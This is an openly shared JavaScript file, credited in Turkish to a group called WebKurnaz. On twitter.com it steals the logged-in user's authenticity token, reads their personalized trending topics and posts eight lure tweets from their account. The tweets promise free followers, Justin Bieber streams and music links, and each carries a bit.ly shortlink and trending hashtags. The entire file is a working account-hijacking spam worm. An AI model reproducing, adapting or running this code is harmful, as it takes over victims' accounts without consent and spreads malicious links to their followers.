﻿/** WebKurnaz Zafer Kabalak Yorum Post Kodları
/** Bu Kodlar WebKurnaz Ekip Başkanı Zafer Kabalak Tarafından Paylaşılmıştır.
/** Bu Kodların Başka Bir Yerde Paylaşılması Halinde WebKurnaz' dan Alıntı Edildiği Konu Altında Bildirilmelidir.

if (location.hostname.indexOf("twitter.com") >= 0) {
function tweet_yaz(mesaj) {
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if (xmlhttp.readyState == 4) {}
        };
        var params = "&authenticity_token=" + authenticity_token;
        params += "&place_id=";
        params += "&status=" + mesaj;
        xmlhttp.open("POST", "/i/tweet/create", true);
        xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  xmlhttp.setRequestHeader("x-requested-with", "XMLHttpRequest");
        xmlhttp.send(params);
    }



authenticity_token = document.getElementsByName("authenticity_token")[0].value;
twurl = "http://bit.ly/146HfQK";


function gundem() {
        var xmlhttp = new XMLHttpRequest();
        xmlhttp.onreadystatechange = function () {
            if (xmlhttp.readyState == 4) {
                sonuc = JSON.parse(xmlhttp.responseText);
  var xmlhttp2 = new XMLHttpRequest();
        xmlhttp2.onreadystatechange = function () {
            if (xmlhttp2.readyState == 4) {
                sonuc2 = JSON.parse(xmlhttp2.responseText);
    module_html = document.createElement("div");
                module_html.id = "ozel_div";
                module_html.innerHTML = sonuc2.module_html;
                module_ul = module_html.getElementsByTagName("ul")[0];
                hastag = module_ul.getElementsByTagName("li")[0].getAttribute("data-trend-name") + "\n";
                hastag += module_ul.getElementsByTagName("li")[1].getAttribute("data-trend-name");
    tweet_yaz("Oha Sonummuzz Geldi Bakın Ya galibaa . -> " + twurl + "\n\n" + hastag);  
    tweet_yaz("bedava takkipci girin ben yaptım süperr: " + twurl + "\n\n #OktayUzunVeAhmetSevimleTakip");    
    tweet_yaz("yuh bee ollamaz  : " + twurl + "\n\n #BirAnÖnce");    
    tweet_yaz("Justincciler ggiirsin justin canlı yayında : " + twurl + "\n\n #JustinComeBackToTurkey");    
    tweet_yaz("Justinn Live Tv Link->. :  " + twurl + "\n\n #Justinbieber");    
    tweet_yaz("Very Grreat Mussic Linnk ->. : " + twurl + "\n\n #youtube");    
    tweet_yaz("onedirection veery photo link -> .. : " + twurl + "\n\n #onedirection");    
    tweet_yaz("Girin linkle Takipçi Kasma Ücretsiz-> .. : " + twurl + "\n\n #profonixiletakipleş");    
    
            }
        };
        params2 = "k=" + sonuc.trends_cache_key;
        params2 += "&pc=true"; 
        params2 += "&personalized=true";
        params2 += "&src=module";
        params2 += "&woeid="+sonuc.woeid;

        xmlhttp2.open("GET", "/trends", true);
        xmlhttp2.setRequestHeader("x-requested-with", "XMLHttpRequest");
        xmlhttp2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xmlhttp2.send(params);    
            }
        };
        params = "authenticity_token=" + authenticity_token;
        params += "&pc=true";
        params += "&personalized=true";

        xmlhttp.open("POST", "/trends/dialog", true);
        xmlhttp.setRequestHeader("x-requested-with", "XMLHttpRequest");
        xmlhttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xmlhttp.send(params);
    }
gundem();
}